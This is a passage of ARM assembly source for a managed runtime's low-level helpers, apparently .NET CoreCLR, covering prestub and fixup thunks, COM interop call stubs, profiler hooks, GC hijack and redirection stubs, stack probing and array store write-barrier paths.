PROLOG_WITH_TRANSITION_BLOCK mov r0, r12 bl PreStubGetMethodDescForCompactEntryPoint mov r12, r0 ; pMethodDesc EPILOG_WITH_TRANSITION_BLOCK_TAILCALL b ThePreStub NESTED_END ; ------------------------------------------------------------------ ; This method does nothing. It's just a fixed function for the debugger to put a breakpoint on. LEAF_ENTRY ThePreStubPatch nop ThePreStubPatchLabel EXPORT ThePreStubPatchLabel bx lr LEAF_END ; ------------------------------------------------------------------ ; The call in ndirect import precode points to this function. NESTED_ENTRY NDirectImportThunk PROLOG_PUSH {r0-r4,lr} ; Spill general argument registers, return address and ; arbitrary register to keep stack aligned PROLOG_VPUSH {d0-d7} ; Spill floating point argument registers CHECK_STACK_ALIGNMENT mov r0, r12 bl NDirectImportWorker mov r12, r0 EPILOG_VPOP {d0-d7} EPILOG_POP {r0-r4,lr} ; If we got back from NDirectImportWorker, the MD has been successfully ; linked. Proceed to execute the original DLL call. EPILOG_BRANCH_REG r12 NESTED_END ; ------------------------------------------------------------------ ; The call in fixup precode initally points to this function. ; The pupose of this function is to load the MethodDesc and forward the call the prestub. NESTED_ENTRY PrecodeFixupThunk ; r12 = FixupPrecode * PROLOG_PUSH {r0-r1} ; Inline computation done by FixupPrecode::GetMethodDesc() ldrb r0, [r12, #3] ; m_PrecodeChunkIndex ldrb r1, [r12, #2] ; m_MethodDescChunkIndex add r12,r12,r0,lsl #3 add r0,r12,r0,lsl #2 ldr r0, [r0,#8] add r12,r0,r1,lsl #2 EPILOG_POP {r0-r1} EPILOG_BRANCH ThePreStub NESTED_END ; ------------------------------------------------------------------ ; void ResolveWorkerAsmStub(r0, r1, r2, r3, r4:IndirectionCellAndFlags, r12:DispatchToken) ; ; The stub dispatch thunk which transfers control to VSD_ResolveWorker. NESTED_ENTRY ResolveWorkerAsmStub PROLOG_WITH_TRANSITION_BLOCK add r0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov r2, r12 ; token ; indirection cell in r4 - should be consistent with REG_ARM_STUB_SPECIAL bic r1, r4, #3 ; indirection cell and r3, r4, #3 ; flags bl VSD_ResolveWorker mov r12, r0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL EPILOG_BRANCH_REG r12 NESTED_END ; ------------------------------------------------------------------ ; void ResolveWorkerChainLookupAsmStub(r0, r1, r2, r3, r4:IndirectionCellAndFlags, r12:DispatchToken) NESTED_ENTRY ResolveWorkerChainLookupAsmStub ; ARMSTUB TODO: implement chained lookup b ResolveWorkerAsmStub NESTED_END #if defined(FEATURE_COMINTEROP) ; ------------------------------------------------------------------ ; setStubReturnValue ; r0 - size of floating point return value (MetaSig::GetFPReturnSize()) ; r1 - pointer to the return buffer in the stub frame LEAF_ENTRY setStubReturnValue cbz r0, NoFloatingPointRetVal ;; Float return case ;; Do not use "it" since it faults in floating point even when the instruction is not executed. cmp r0, #4 bne LNoFloatRetVal vldr s0, [r1] bx lr LNoFloatRetVal ;; Double return case ;; Do not use "it" since it faults in floating point even when the instruction is not executed. cmp r0, #8 bne LNoDoubleRetVal vldr d0, [r1] bx lr LNoDoubleRetVal cmp r0, #16 bne LNoFloatHFARetVal vldm r1, {s0-s3} bx lr LNoFloatHFARetVal cmp r0, #32 bne LNoDoubleHFARetVal vldm r1, {d0-d3} bx lr LNoDoubleHFARetVal EMIT_BREAKPOINT ; Unreachable NoFloatingPointRetVal ;; Restore the return value from retbuf ldr r0, [r1] ldr r1, [r1, #4] bx lr LEAF_END #endif // FEATURE_COMINTEROP #if defined(FEATURE_COMINTEROP) ; ------------------------------------------------------------------ ; Function used by remoting/COM interop to get floating point return value (since it's not in the same ; register(s) as non-floating point values). ; ; On entry; ; r0 : size of the FP result (4 or 8 bytes) ; r1 : pointer to 64-bit buffer to receive result ; ; On exit: ; buffer pointed to by r1 on entry contains the float or double argument as appropriate ; LEAF_ENTRY getFPReturn cmp r0, #4 bne LgetFP8 vmov r2, s0 str r2, [r1] bx lr LgetFP8 vmov r2, r3, d0 strd r2, r3, [r1] bx lr LEAF_END ; ------------------------------------------------------------------ ; Function used by remoting/COM interop to set floating point return value (since it's not in the same ; register(s) as non-floating point values). ; ; On entry: ; r0 : size of the FP result (4 or 8 bytes) ; r2/r3 : 32-bit or 64-bit FP result ; ; On exit: ; s0 : float result if r0 == 4 ; d0 : double result if r0 == 8 ; LEAF_ENTRY setFPReturn cmp r0, #4 bne LsetFP8 vmov s0, r2 bx lr LsetFP8 vmov d0, r2, r3 bx lr LEAF_END #endif defined(FEATURE_COMINTEROP) #ifdef FEATURE_COMINTEROP ; ------------------------------------------------------------------ ; GenericComPlusCallStub that erects a ComPlusMethodFrame and calls into the runtime ; (CLRToCOMWorker) to dispatch rare cases of the interface call. ; ; On entry: ; r0 : 'this' object ; r12 : Interface MethodDesc* ; plus user arguments in registers and on the stack ; ; On exit: ; r0/r1/s0/d0 set to return value of the call as appropriate ; NESTED_ENTRY GenericComPlusCallStub PROLOG_WITH_TRANSITION_BLOCK ASM_ENREGISTERED_RETURNTYPE_MAXSIZE add r0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov r1, r12 ; pMethodDesc ; Call CLRToCOMWorker(pFrame). This call will set up the rest of the frame (including the vfptr, ; the GS cookie and linking to the thread), make the client call and return with correct registers set ; (r0/r1/s0-s3/d0-d3 as appropriate). bl CLRToCOMWorker ; r0 = fpRetSize ; return value is stored before float argument registers add r1, sp, #(__PWTB_FloatArgumentRegisters - ASM_ENREGISTERED_RETURNTYPE_MAXSIZE) bl setStubReturnValue EPILOG_WITH_TRANSITION_BLOCK_RETURN NESTED_END ; ------------------------------------------------------------------ ; COM to CLR stub called the first time a particular method is invoked. ; ; On entry: ; r12 : (MethodDesc* - ComCallMethodDesc_Offset_FromR12) provided by prepad thunk ; plus user arguments in registers and on the stack ; ; On exit: ; tail calls to real method ; NESTED_ENTRY ComCallPreStub GBLA ComCallPreStub_FrameSize GBLA ComCallPreStub_FramePad GBLA ComCallPreStub_StackAlloc GBLA ComCallPreStub_Frame GBLA ComCallPreStub_ErrorReturn ; Set the defaults ComCallPreStub_FramePad SETA 8 ; error return ComCallPreStub_FrameSize SETA (ComCallPreStub_FramePad + SIZEOF__GSCookie + SIZEOF__ComMethodFrame) IF ComCallPreStub_FrameSize:MOD:8 != 0 ComCallPreStub_FramePad SETA ComCallPreStub_FramePad + 4 ComCallPreStub_FrameSize SETA ComCallPreStub_FrameSize + 4 ENDIF ComCallPreStub_StackAlloc SETA ComCallPreStub_FrameSize - SIZEOF__ArgumentRegisters - 2 * 4 ComCallPreStub_Frame SETA SIZEOF__FloatArgumentRegisters + ComCallPreStub_FramePad + SIZEOF__GSCookie ComCallPreStub_ErrorReturn SETA SIZEOF__FloatArgumentRegisters PROLOG_PUSH {r0-r3} ; Spill general argument registers PROLOG_PUSH {r11,lr} ; Save return address PROLOG_STACK_ALLOC ComCallPreStub_StackAlloc ; Alloc non-spill portion of stack frame PROLOG_VPUSH {d0-d7} ; Spill floating point argument registers CHECK_STACK_ALIGNMENT ; Finish initializing the frame. The C++ helper will fill in the GS cookie and vfptr and link us to ; the Thread frame chain (see ComPrestubMethodFrame::Push). That leaves us with m_pFuncDesc. ; The prepad thunk passes us a value which is the MethodDesc* - ComCallMethodDesc_Offset_FromR12 (due to encoding limitations in the ; thunk). So we must correct this by adding 4 before storing the pointer. add r12, #(ComCallMethodDesc_Offset_FromR12) str r12, [sp, #(ComCallPreStub_Frame + UnmanagedToManagedFrame__m_pvDatum)] ; Call the C++ worker: ComPreStubWorker(&Frame) add r0, sp, #(ComCallPreStub_Frame) add r1, sp, #(ComCallPreStub_ErrorReturn) bl ComPreStubWorker ; Handle failure case. cbz r0, ErrorExit ; Stash real target address where it won't be overwritten by restoring the calling state. mov r12, r0 EPILOG_VPOP {d0-d7} ; Restore floating point argument registers EPILOG_STACK_FREE ComCallPreStub_StackAlloc EPILOG_POP {r11,lr} EPILOG_POP {r0-r3} ; Restore argument registers ; Tail call the real target. Actually ComPreStubWorker returns the address of the prepad thunk on ARM, ; that way we don't run out of volatile registers trying to remember both the new target address and ; the hidden MethodDesc* argument. ComPreStubWorker patched the prepad though so the second time ; through we won't end up here again. EPILOG_BRANCH_REG r12 ErrorExit ; Failed to find a stub to call. Retrieve the return value ComPreStubWorker set for us. ldr r0, [sp, #(ComCallPreStub_ErrorReturn)] ldr r1, [sp, #(ComCallPreStub_ErrorReturn+4)] EPILOG_STACK_FREE ComCallPreStub_StackAlloc + SIZEOF__FloatArgumentRegisters EPILOG_POP {r11,lr} EPILOG_STACK_FREE SIZEOF__ArgumentRegisters EPILOG_RETURN NESTED_END ; ------------------------------------------------------------------ ; COM to CLR stub which sets up a ComMethodFrame and calls COMToCLRWorker. ; ; On entry: ; r12 : (MethodDesc* - ComCallMethodDesc_Offset_FromR12) provided by prepad thunk ; plus user arguments in registers and on the stack ; ; On exit: ; Result in r0/r1/s0/d0 as per the real method being called ; NESTED_ENTRY GenericComCallStub,,ReverseComUnwindFrameChainHandler ; Calculate space needed on stack for alignment padding, a GS cookie and a ComMethodFrame (minus the last ; field, m_ReturnAddress, which we'll push explicitly). GBLA GenericComCallStub_FrameSize GBLA GenericComCallStub_FramePad GBLA GenericComCallStub_StackAlloc GBLA GenericComCallStub_Frame ; Set the defaults GenericComCallStub_FramePad SETA 0 GenericComCallStub_FrameSize SETA (GenericComCallStub_FramePad + SIZEOF__GSCookie + SIZEOF__ComMethodFrame) IF GenericComCallStub_FrameSize:MOD:8 != 0 GenericComCallStub_FramePad SETA 4 GenericComCallStub_FrameSize SETA GenericComCallStub_FrameSize + GenericComCallStub_FramePad ENDIF GenericComCallStub_StackAlloc SETA GenericComCallStub_FrameSize - SIZEOF__ArgumentRegisters - 2 * 4 GenericComCallStub_Frame SETA SIZEOF__FloatArgumentRegisters + GenericComCallStub_FramePad + SIZEOF__GSCookie PROLOG_PUSH {r0-r3} ; Spill general argument registers PROLOG_PUSH {r11,lr} ; Save return address PROLOG_STACK_ALLOC GenericComCallStub_StackAlloc ; Alloc non-spill portion of stack frame PROLOG_VPUSH {d0-d7} ; Spill floating point argument registers CHECK_STACK_ALIGNMENT ; Store MethodDesc* in frame. Due to a limitation of the prepad, r12 actually contains a value ; "ComCallMethodDesc_Offset_FromR12" less than the pointer we want, so fix that up. add r12, r12, #(ComCallMethodDesc_Offset_FromR12) str r12, [sp, #(GenericComCallStub_Frame + UnmanagedToManagedFrame__m_pvDatum)] ; Call COMToCLRWorker(pThread, pFrame). Note that pThread is computed inside the method so we don't ; need to set it up here. ; ; Setup R1 to point to the start of the explicit frame. We account for alignment padding and ; space for GSCookie. add r1, sp, #(GenericComCallStub_Frame) bl COMToCLRWorker EPILOG_STACK_FREE GenericComCallStub_StackAlloc + SIZEOF__FloatArgumentRegisters EPILOG_POP {r11,lr} EPILOG_STACK_FREE SIZEOF__ArgumentRegisters EPILOG_RETURN NESTED_END ; ------------------------------------------------------------------ ; COM to CLR stub called from COMToCLRWorker that actually dispatches to the real managed method. ; ; On entry: ; r0 : dwStackSlots, count of argument stack slots to copy ; r1 : pFrame, ComMethodFrame pushed by GenericComCallStub above ; r2 : pTarget, address of code to call ; r3 : pSecretArg, hidden argument passed to target above in r12 ; [sp, #0] : pDangerousThis, managed 'this' reference ; ; On exit: ; Result in r0/r1/s0/d0 as per the real method being called ; NESTED_ENTRY COMToCLRDispatchHelper,,CallDescrWorkerUnwindFrameChainHandler PROLOG_PUSH {r4-r5,r7,lr} PROLOG_STACK_SAVE r7 ; Copy stack-based arguments. Make sure the eventual SP ends up 8-byte aligned. Note that the ; following calculations assume that the prolog has left the stack already aligned. CHECK_STACK_ALIGNMENT cbz r0, COMToCLRDispatchHelper_ArgumentsSetup lsl r4, r0, #2 ; r4 = (dwStackSlots * 4) and r5, r4, #4 ; Align the stack sub sp, sp, r5 add r5, r1, #SIZEOF__ComMethodFrame add r5, r5, r4 COMToCLRDispatchHelper_StackLoop ldr r4, [r5,#-4]! str r4, [sp,#-4]! subs r0, r0, #1 bne COMToCLRDispatchHelper_StackLoop CHECK_STACK_ALIGNMENT COMToCLRDispatchHelper_ArgumentsSetup ; Load floating point argument registers. sub r4, r1, #(GenericComCallStub_Frame) vldm r4, {d0-d7} ; Prepare the call target and hidden argument prior to overwriting r0-r3. mov r12, r3 ; r12 = hidden argument mov lr, r2 ; lr = target code ; Load general argument registers except r0. add r4, r1, #(SIZEOF__ComMethodFrame - SIZEOF__ArgumentRegisters + 4) ldm r4, {r1-r3} ; Load r0 from the managed this, not the original incoming IUnknown*. ldr r0, [r7, #(4 * 4)] ; Make the call. blx lr EPILOG_STACK_RESTORE r7 EPILOG_POP {r4-r5,r7,pc} NESTED_END #endif // FEATURE_COMINTEROP #ifdef PROFILING_SUPPORTED PROFILE_ENTER equ 1 PROFILE_LEAVE equ 2 PROFILE_TAILCALL equ 4 ; ------------------------------------------------------------------ ; void JIT_ProfilerEnterLeaveTailcallStub(UINT_PTR ProfilerHandle) LEAF_ENTRY JIT_ProfilerEnterLeaveTailcallStub bx lr LEAF_END ; Define the layout of the PROFILE_PLATFORM_SPECIFIC_DATA we push on the stack for all profiler ; helpers. map 0 field 4 ; r0 field 4 ; r1 field 4 ; r11 field 4 ; Pc (caller's PC, i.e. LR) field SIZEOF__FloatArgumentRegisters ; spilled floating point argument registers functionId field 4 probeSp field 4 profiledSp field 4 hiddenArg field 4 flags field 4 SIZEOF__PROFILE_PLATFORM_SPECIFIC_DATA field 0 ; ------------------------------------------------------------------ ; Macro used to generate profiler helpers. In all cases we push a partially initialized ; PROFILE_PLATFORM_SPECIFIC_DATA structure on the stack and call into a C++ helper to continue processing. ; ; On entry: ; r0 : clientInfo ; r1/r2 : return values (in case of leave) ; frame pointer(r11) must be set (in case of enter) ; all arguments are on stack at frame pointer (r11) + 8bytes (save lr & prev r11). ; ; On exit: ; All register values are preserved including volatile registers ; MACRO DefineProfilerHelper $HelperName, $Flags GBLS __ProfilerHelperFunc __ProfilerHelperFunc SETS "$HelperName":CC:"Naked" NESTED_ENTRY $__ProfilerHelperFunc IMPORT $HelperName ; The C++ helper which does most of the work PROLOG_PUSH {r0,r3,r9,r12} ; save volatile general purpose registers. remaining r1 & r2 are saved below...saving r9 as it is required for virtualunwinding PROLOG_STACK_ALLOC (6*4) ; Reserve space for tail end of structure (5*4 bytes) and extra 4 bytes is for aligning the stack at 8-byte boundary PROLOG_VPUSH {d0-d7} ; Spill floting point argument registers PROLOG_PUSH {r1,r11,lr} ; Save possible return value in r1, frame pointer and return address PROLOG_PUSH {r2} ; Save possible return value in r0. Before calling Leave Hook Jit moves contents of r0 to r2 ; so pushing r2 instead of r0. This push statement cannot be combined with the above push ; as r2 gets pushed before r1. CHECK_STACK_ALIGNMENT ; Zero r1 for use clearing fields in the PROFILE_PLATFORM_SPECIFIC_DATA. eor r1, r1 ; Clear functionId. str r1, [sp, #functionId] ; Save caller's SP (at the point this helper was called). add r2, sp, #(SIZEOF__PROFILE_PLATFORM_SPECIFIC_DATA + 20) str r2, [sp, #probeSp] ; Save caller's SP (at the point where only argument registers have been spilled). ldr r2, [r11] add r2, r2, #8 ; location of arguments is at frame pointer(r11) + 8 (lr & prev frame ptr is saved before changing str r2, [sp, #profiledSp] ; Clear hiddenArg. str r1, [sp, #hiddenArg] ; Set flags to indicate type of helper called. mov r1, #($Flags) str r1, [sp, #flags] ; Call C++ portion of helper (<$HelperName>(clientInfo, &profilePlatformSpecificData)). mov r1, sp bl $HelperName EPILOG_POP {r2} EPILOG_POP {r1,r11,lr} EPILOG_VPOP {d0-d7} EPILOG_STACK_FREE (6*4) EPILOG_POP {r0,r3,r9,r12} EPILOG_RETURN NESTED_END MEND DefineProfilerHelper ProfileEnter, PROFILE_ENTER DefineProfilerHelper ProfileLeave, PROFILE_LEAVE DefineProfilerHelper ProfileTailcall, PROFILE_TAILCALL #endif // PROFILING_SUPPORTED ; ; If a preserved register were pushed onto the stack between ; the managed caller and the H_M_F, _R4_R11 will point to its ; location on the stack and it would have been updated on the ; stack by the GC already and it will be popped back into the ; appropriate register when the appropriate epilog is run. ; ; Otherwise, the register is preserved across all the code ; in this HCALL or FCALL, so we need to update those registers ; here because the GC will have updated our copies in the ; frame. ; ; So, if _R4_R11 points into the MachState, we need to update ; the register here. That's what this macro does. ; MACRO RestoreRegMS $regIndex, $reg ; Incoming: ; ; R0 = address of MachState ; ; $regIndex: Index of the register (R4-R11). For R4, index is 4. ; For R5, index is 5, and so on. ; ; $reg: Register name (e.g. R4, R5, etc) ; ; Get the address of the specified captured register from machine state add r2, r0, #(MachState__captureR4_R11 + (($regIndex-4)*4)) ; Get the address of the specified preserved register from machine state ldr r3, [r0, #(MachState___R4_R11 + (($regIndex-4)*4))] cmp r2, r3 bne %FT0 ldr $reg, [r2] 0 MEND ; EXTERN_C int __fastcall HelperMethodFrameRestoreState( ; INDEBUG_COMMA(HelperMethodFrame *pFrame) ; MachState *pState ; ) LEAF_ENTRY HelperMethodFrameRestoreState #ifdef _DEBUG mov r0, r1 #endif ; If machine state is invalid, then simply exit ldr r1, [r0, #MachState__isValid] cmp r1, #0 beq Done RestoreRegMS 4, R4 RestoreRegMS 5, R5 RestoreRegMS 6, R6 RestoreRegMS 7, R7 RestoreRegMS 8, R8 RestoreRegMS 9, R9 RestoreRegMS 10, R10 RestoreRegMS 11, R11 Done ; Its imperative that the return value of HelperMethodFrameRestoreState is zero ; as it is used in the state machine to loop until it becomes zero. ; Refer to HELPER_METHOD_FRAME_END macro for details. mov r0,#0 bx lr LEAF_END #ifdef FEATURE_HIJACK ; ------------------------------------------------------------------ ; Hijack function for functions which return a value type NESTED_ENTRY OnHijackTripThread PROLOG_PUSH {r0,r4-r11,lr} PROLOG_VPUSH {d0-d3} ; saving as d0-d3 can have the floating point return value PROLOG_PUSH {r1} ; saving as r1 can have partial return value when return is > 32 bits PROLOG_STACK_ALLOC 4 ; 8 byte align CHECK_STACK_ALIGNMENT add r0, sp, #40 bl OnHijackWorker EPILOG_STACK_FREE 4 EPILOG_POP {r1} EPILOG_VPOP {d0-d3} EPILOG_POP {r0,r4-r11,pc} NESTED_END #endif ; FEATURE_HIJACK ; ------------------------------------------------------------------ ; Macro to generate Redirection Stubs ; ; $reason : reason for redirection ; Eg. GCThreadControl ; NOTE: If you edit this macro, make sure you update GetCONTEXTFromRedirectedStubStackFrame. ; This function is used by both the personality routine and the debugger to retrieve the original CONTEXT. MACRO GenerateRedirectedHandledJITCaseStub $reason GBLS __RedirectionStubFuncName GBLS __RedirectionStubEndFuncName GBLS __RedirectionFuncName __RedirectionStubFuncName SETS "RedirectedHandledJITCaseFor":CC:"$reason":CC:"_Stub" __RedirectionStubEndFuncName SETS "RedirectedHandledJITCaseFor":CC:"$reason":CC:"_StubEnd" __RedirectionFuncName SETS "|?RedirectedHandledJITCaseFor":CC:"$reason":CC:"@Thread@@CAXXZ|" IMPORT $__RedirectionFuncName NESTED_ENTRY $__RedirectionStubFuncName PROLOG_PUSH {r7,lr} ; return address PROLOG_STACK_ALLOC 4 ; stack slot to save the CONTEXT * PROLOG_STACK_SAVE r7 ;REDIRECTSTUB_SP_OFFSET_CONTEXT is defined in asmconstants.h ;If CONTEXT is not saved at 0 offset from SP it must be changed as well. ASSERT REDIRECTSTUB_SP_OFFSET_CONTEXT == 0 ; Runtime check for 8-byte alignment. This check is necessary as this function can be ; entered before complete execution of the prolog of another function. and r0, r7, #4 sub sp, sp, r0 ; stack must be 8 byte aligned CHECK_STACK_ALIGNMENT ; ; Save a copy of the redirect CONTEXT*. ; This is needed for the debugger to unwind the stack. ; bl GetCurrentSavedRedirectContext str r0, [r7] ; ; Fetch the interrupted pc and save it as our return address. ; ldr r1, [r0, #CONTEXT_Pc] str r1, [r7, #8] ; ; Call target, which will do whatever we needed to do in the context ; of the target thread, and will RtlRestoreContext when it is done. ; bl $__RedirectionFuncName EMIT_BREAKPOINT ; Unreachable ; Put a label here to tell the debugger where the end of this function is. $__RedirectionStubEndFuncName EXPORT $__RedirectionStubEndFuncName NESTED_END MEND ; ------------------------------------------------------------------ ; Redirection Stub for GC in fully interruptible method GenerateRedirectedHandledJITCaseStub GCThreadControl ; ------------------------------------------------------------------ GenerateRedirectedHandledJITCaseStub DbgThreadControl ; ------------------------------------------------------------------ GenerateRedirectedHandledJITCaseStub UserSuspend #ifdef _DEBUG ; ------------------------------------------------------------------ ; Redirection Stub for GC Stress GenerateRedirectedHandledJITCaseStub GCStress #endif ; ------------------------------------------------------------------ ; Functions to probe for stack space ; Input reg r4 = amount of stack to probe for ; value of reg r4 is preserved on exit from function ; r12 is trashed ; The below two functions were copied from vctools\crt\crtw32\startup\arm\chkstk.asm NESTED_ENTRY checkStack subs r12,sp,r4 mrc p15,#0,r4,c13,c0,#2 ; get TEB * ldr r4,[r4,#8] ; get Stack limit bcc checkStack_neg ; if r12 is less then 0 set it to 0 checkStack_label1 cmp r12, r4 bcc stackProbe ; must probe to extend guardpage if r12 is beyond stackLimit sub r4, sp, r12 ; restore value of r4 EPILOG_RETURN checkStack_neg mov r12, #0 b checkStack_label1 NESTED_END NESTED_ENTRY stackProbe PROLOG_PUSH {r5,r6} mov r6, r12 bfc r6, #0, #0xc ; align down (4K) stackProbe_loop sub r4,r4,#0x1000 ; dec stack Limit by 4K as page size is 4K ldr r5,[r4] ; try to read ... this should move the guard page cmp r4,r6 bne stackProbe_loop EPILOG_POP {r5,r6} EPILOG_NOP sub r4,sp,r12 EPILOG_RETURN NESTED_END #ifdef FEATURE_PREJIT ;------------------------------------------------ ; VirtualMethodFixupStub ; ; In NGEN images, virtual slots inherited from cross-module dependencies ; point to a jump thunk that calls into the following function that will ; call into a VM helper. The VM helper is responsible for patching up ; thunk, upon executing the precode, so that all subsequent calls go directly ; to the actual method body. ; ; This is done lazily for performance reasons. ; ; On entry: ; ; R0 = "this" pointer ; R12 = Address of thunk + 4 NESTED_ENTRY VirtualMethodFixupStub ; Save arguments and return address PROLOG_PUSH {r0-r3, lr} ; Align stack PROLOG_STACK_ALLOC SIZEOF__FloatArgumentRegisters + 4 vstm sp, {d0-d7} CHECK_STACK_ALIGNMENT ; R12 contains an address that is 4 bytes ahead of ; where the thunk starts. Refer to ZapImportVirtualThunk::Save ; for details on this. ; ; Move the correct thunk start address in R1 sub r1, r12, #4 ; Call the helper in the VM to perform the actual fixup ; and tell us where to tail call. R0 already contains ; the this pointer. bl VirtualMethodFixupWorker ; On return, R0 contains the target to tailcall to mov r12, r0 ; pop the stack and restore original register state vldm sp, {d0-d7} EPILOG_STACK_FREE SIZEOF__FloatArgumentRegisters + 4 EPILOG_POP {r0-r3, lr} PATCH_LABEL VirtualMethodFixupPatchLabel ; and tailcall to the actual method EPILOG_BRANCH_REG r12 NESTED_END #endif // FEATURE_PREJIT ;------------------------------------------------ ; ExternalMethodFixupStub ; ; In NGEN images, calls to cross-module external methods initially ; point to a jump thunk that calls into the following function that will ; call into a VM helper. The VM helper is responsible for patching up the ; thunk, upon executing the precode, so that all subsequent calls go directly ; to the actual method body. ; ; This is done lazily for performance reasons. ; ; On entry: ; ; R12 = Address of thunk + 4 NESTED_ENTRY ExternalMethodFixupStub PROLOG_WITH_TRANSITION_BLOCK add r0, sp, #__PWTB_TransitionBlock ; pTransitionBlock ; Adjust (read comment above for details) and pass the address of the thunk sub r1, r12, #4 ; pThunk mov r2, #0 ; sectionIndex mov r3, #0 ; pModule bl ExternalMethodFixupWorker ; mov the address we patched to in R12 so that we can tail call to it mov r12, r0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL PATCH_LABEL ExternalMethodFixupPatchLabel EPILOG_BRANCH_REG r12 NESTED_END #ifdef FEATURE_PREJIT ;------------------------------------------------ ; StubDispatchFixupStub ; ; In NGEN images, calls to interface methods initially ; point to a jump thunk that calls into the following function that will ; call into a VM helper. The VM helper is responsible for patching up the ; thunk with actual stub dispatch stub. ; ; On entry: ; ; R4 = Address of indirection cell NESTED_ENTRY StubDispatchFixupStub PROLOG_WITH_TRANSITION_BLOCK ; address of StubDispatchFrame add r0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov r1, r4 ; siteAddrForRegisterIndirect mov r2, #0 ; sectionIndex mov r3, #0 ; pModule bl StubDispatchFixupWorker ; mov the address we patched to in R12 so that we can tail call to it mov r12, r0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL PATCH_LABEL StubDispatchFixupPatchLabel EPILOG_BRANCH_REG r12 NESTED_END #endif // FEATURE_PREJIT ;------------------------------------------------ ; JIT_RareDisableHelper ; ; The JIT expects this helper to preserve registers used for return values ; NESTED_ENTRY JIT_RareDisableHelper PROLOG_PUSH {r0-r1, r11, lr} ; save integer return value PROLOG_VPUSH {d0-d3} ; floating point return value CHECK_STACK_ALIGNMENT bl JIT_RareDisableHelperWorker EPILOG_VPOP {d0-d3} EPILOG_POP {r0-r1, r11, pc} NESTED_END ; ; JIT Static access helpers for single appdomain case ; ; ------------------------------------------------------------------ ; void* JIT_GetSharedNonGCStaticBase(SIZE_T moduleDomainID, DWORD dwClassDomainID) LEAF_ENTRY JIT_GetSharedNonGCStaticBase_SingleAppDomain ; If class is not initialized, bail to C++ helper add r2, r0, #DomainLocalModule__m_pDataBlob ldrb r2, [r2, r1] tst r2, #1 beq CallCppHelper1 bx lr CallCppHelper1 ; Tail call JIT_GetSharedNonGCStaticBase_Helper b JIT_GetSharedNonGCStaticBase_Helper LEAF_END ; ------------------------------------------------------------------ ; void* JIT_GetSharedNonGCStaticBaseNoCtor(SIZE_T moduleDomainID, DWORD dwClassDomainID) LEAF_ENTRY JIT_GetSharedNonGCStaticBaseNoCtor_SingleAppDomain bx lr LEAF_END ; ------------------------------------------------------------------ ; void* JIT_GetSharedGCStaticBase(SIZE_T moduleDomainID, DWORD dwClassDomainID) LEAF_ENTRY JIT_GetSharedGCStaticBase_SingleAppDomain ; If class is not initialized, bail to C++ helper add r2, r0, #DomainLocalModule__m_pDataBlob ldrb r2, [r2, r1] tst r2, #1 beq CallCppHelper3 ldr r0, [r0, #DomainLocalModule__m_pGCStatics] bx lr CallCppHelper3 ; Tail call Jit_GetSharedGCStaticBase_Helper b JIT_GetSharedGCStaticBase_Helper LEAF_END ; ------------------------------------------------------------------ ; void* JIT_GetSharedGCStaticBaseNoCtor(SIZE_T moduleDomainID, DWORD dwClassDomainID) LEAF_ENTRY JIT_GetSharedGCStaticBaseNoCtor_SingleAppDomain ldr r0, [r0, #DomainLocalModule__m_pGCStatics] bx lr LEAF_END ; ------------------------------------------------------------------ ; __declspec(naked) void F_CALL_CONV JIT_Stelem_Ref(PtrArray* array, unsigned idx, Object* val) LEAF_ENTRY JIT_Stelem_Ref ; We retain arguments as they were passed and use r0 == array; r1 == idx; r2 == val ; check for null array cbz r0, ThrowNullReferenceException ; idx bounds check ldr r3,[r0,#ArrayBase__m_NumComponents] cmp r3,r1 bls ThrowIndexOutOfRangeException ; fast path to null assignment (doesn't need any write-barriers) cbz r2, AssigningNull ; Verify the array-type and val-type matches before writing ldr r12, [r0] ; r12 = array MT ldr r3, [r2] ; r3 = val->GetMethodTable() ldr r12, [r12, #MethodTable__m_ElementType] ; array->GetArrayElementTypeHandle() cmp r3, r12 beq JIT_Stelem_DoWrite ; Types didnt match but allow writing into an array of objects ldr r3, =$g_pObjectClass ldr r3, [r3] ; r3 = *g_pObjectClass cmp r3, r12 ; array type matches with Object* beq JIT_Stelem_DoWrite ; array type and val type do not exactly match. Raise frame and do detailed match b JIT_Stelem_Ref_NotExactMatch AssigningNull ; Assigning null doesn't need write barrier adds r0, r1, LSL #2 ; r0 = r0 + (r1 x 4) = array->m_array[idx] str r2, [r0, #PtrArray__m_Array] ; array->m_array[idx] = val bx lr ThrowNullReferenceException ; Tail call JIT_InternalThrow(NullReferenceException) ldr r0, =CORINFO_NullReferenceException_ASM b JIT_InternalThrow ThrowIndexOutOfRangeException ; Tail call JIT_InternalThrow(NullReferenceException) ldr r0, =CORINFO_IndexOutOfRangeException_ASM b JIT_InternalThrow LEAF_END ; ------------------------------------------------------------------ ; __declspec(naked) void F_CALL_CONV JIT_Stelem_Ref_NotExactMatch(PtrArray* array, ; unsigned idx, Object* val) ; r12 = array->GetArrayElementTypeHandle() ; NESTED_ENTRY JIT_Stelem_Ref_NotExactMatch PROLOG_PUSH {lr} PROLOG_PUSH {r0-r2} CHECK_STACK_ALIGNMENT ; allow in case val can be casted to array element type ; call ObjIsInstanceOfCached(val, array->GetArrayElementTypeHandle()) mov r1, r12 ; array->GetArrayElementTypeHandle() mov r0, r2 bl ObjIsInstanceOfCached cmp r0, TypeHandle_CanCast beq DoWrite ; ObjIsInstance returned TypeHandle::CanCast ; check via raising frame NeedFrame mov r1, sp ; r1 = &array adds r0, sp, #8 ; r0 = &val bl ArrayStoreCheck ; ArrayStoreCheck(&val, &array) DoWrite EPILOG_POP {r0-r2} EPILOG_POP {lr} EPILOG_BRANCH JIT_Stelem_DoWrite NESTED_END ; ------------------------------------------------------------------ ; __declspec(naked) void F_CALL_CONV JIT_Stelem_DoWrite(PtrArray* array, unsigned idx, Object* val) LEAF_ENTRY JIT_Stelem_DoWrite ; Setup args for JIT_WriteBarrier. r0 = &array->m_array[idx]; r1 = val adds r0, #PtrArray__m_Array ; r0 = &array->m_array adds r0, r1, LSL #2 mov r1, r2 ; r1 = val ; Branch to the write barrier (which is already correctly overwritten with ; single or multi-proc code based on the current CPU b JIT_WriteBarrier LEAF_END ; ------------------------------------------------------------------ ; GC write barrier support. ; ; There's some complexity here for a couple of reasons: ; ; Firstly, there are a few variations of barrier types (input registers, checked vs unchecked, UP vs MP etc.). ; So first we define a number of helper macros that perform fundamental pieces of a barrier and then we define ; the final barrier functions by assembling these macros in various combinations. 